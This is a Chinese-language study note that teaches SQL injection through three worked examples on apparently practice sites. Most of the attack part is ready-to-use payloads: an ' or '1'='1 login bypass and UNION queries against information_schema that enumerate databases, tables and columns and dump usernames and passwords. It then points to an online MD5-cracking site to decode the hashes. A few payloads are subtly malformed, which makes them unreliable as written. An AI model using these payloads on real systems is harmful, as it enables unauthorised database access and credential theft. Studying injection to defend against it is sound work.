目录
一,认识SQL注入
SQL注入(SQL Injection)是一种常见的网络攻击手段,是因为应用程序对用户输入的数据验证不到位造成的。攻击者在应用程序的输入字段中插入恶意的SQL代码,在应用程序未授权的情况下执行任意的SQL语句。
二,SQL注入会导致什么呢?
1,数据泄露:我们的账号密码,个人身份信息的等等
2,数据篡改:篡改商品的价格,学生成绩等等
3,数据删除:删除某些数据
4,拒绝服务攻击(DoS):利用SQL注入制作大量查询和复杂的操作导致系统资源耗尽
5,提权攻击:利用SQL注入提升权限执行系统命令等
6,绕过身份验证:利用SQL注入绕过身份验证使得攻击者管理员特权身份
三,SQL注入思想与步骤
1,找到注入点
2,获取对方数据库名字
3,获取对方数据库中有那些表
4,获取表中有哪些字段
5,获取字段表中的数据
四,实战演练
【1】实例1:
1,找到注入点
登录后发现注入点
可以得知账号和密码都可以注入
2,这里可以通过闭合sql语句在url地址栏注入语句
sql注入代码:
' or '1'='1
所以就得到了
这条语句的意思是不管账号密码对不对后面多了个 or '1'='1'这条语句条件为真,所以把user表给查询出来,得到数据。
【2】实例2:
1,找到注入点
2,老样子闭合注入
sql注入代码:
' or '1'='1
得到news表中数据
3,获取数据库的名字
使用union注入
首先使用union之前来了解一下什么是union和注意的事项
【1】union用于合并两个或多个select语句的结果
【2】使用union两个select的列的数量和数据类型一定要相同
例如:
user表:
user2表:
如果列数不相同会出现如下的错误:
我们这个实例中获取数据库名字可以用:
select *from user date='注入点'
union
select database(),'','',' //这里对应user列的数量
这里浅谈一下information_schema数据库吧!下面用的到
【1】information_schema是mysql中的一个特殊的数据库它里面包含了许多的表例如:
1,TABLES:里面包含了所有的数据库名和表名。
2,COLUMNS:里面包含了所有的数据库名、表名、字段名。
3,SCHEMATA:里面包含了所有的数据库名。
4,获取game数据库中有那些表
那么如何注入呢?
【1】这个代码的意思是从information_schema数据库中的TABLES表中筛选出game数据库中的表名。
【2】又因为要与news的列对齐,所以要将table_name改为group_concat(table_name),
group_concat()的作用是将多行数据合并为一行。
【3】在url地址栏中的date=后面接上:
' union select (select group_concat(table_name) from information_schema.`TABLES` where table_schema='game') ,'','','
得到game数据库中的表名
5,获取game数据库中user表中有那些字段
【1】执行语句
select
COLUMN_name
from
information_schema.`COLUMNS`
where
table_schema = 'game'
and table_name = 'user'
这段代码的意思是:从information_schema数据库中的COLUMNS表里面去找数据库名字是game并且表名是user的字段
得到结果:
【2】又因为要与news的列对齐,所以要将column_name改为group_concat(column_name)
group_concat()的作用是将多行数据合并为一行。
【3】在url地址栏中的date=后面接上:
' union select (group_concat(COLUMN_name) from information_schema.`COLUMNS` where table_schema = 'game' and table_name = 'user'),'','','
得到game数据库中user表中的字段
6,拿到字段后看里面有那些数据
【1】在url地址栏中的date=后面接上:
' union select (select group_concat(username) from user where '1'='1'),'','','
【2】在url地址栏中的date=后面接上:
' union select (select group_concat(password) from user where '1'='1'),'','','
【3】实例3:
1,点击进入找注入点
2,通过下面的数据可以猜到sql语句大概是:select *from 表名 where 字段=?
3,我咋知道它是注入点的呢?
【1】这里数据库对“狗蛋”进行了查询,因为我们的表中没有“狗蛋”所以返回了那串英文,所以说明这里是一个注入点
4,判断这个表中有几列(多少个字段)
【1】通过order by来判断
【2】order by是排序语句。
例如:order by 4
这里它基于列进行排序,这里是5时它就报错了,在4时没有报错,由此可以得出结论这个表有4列。
5,使用union找注入点(union联合两个select语句输出结果,上面提到了忘记了可以去看看)
【1】url地址栏中使用:
id=3 union select 1,2,3,4
【2】通过找到的注入点获取数据库的名字和版本
sql注入代码:
id=3 union select 1,database(),'',version()
【3】如何知道对方都有那些数据库呢?
sql注入代码:
id=3 select union select 1,2,3,(select group_concat(schema_name) from information_schema.schemata)
【4】查询数据库中有那些表
sql注入代码:
id=3 union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema='jrlt')
【5】查询表中有那些字段
sql注入代码
id=3 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='jrlt' and table_name='users'
【6】通过字段拿到里面的数据
sql注入代码:
id=3 union select 1, 2,3,name from users
sql注入代码:
id=3 union select 1, 2,3,password from users
复制去解密网站去解码:md5在线解密破解,md5解密加密 (cmd5.com)
以上就是我的学习笔记了,谢谢观看!!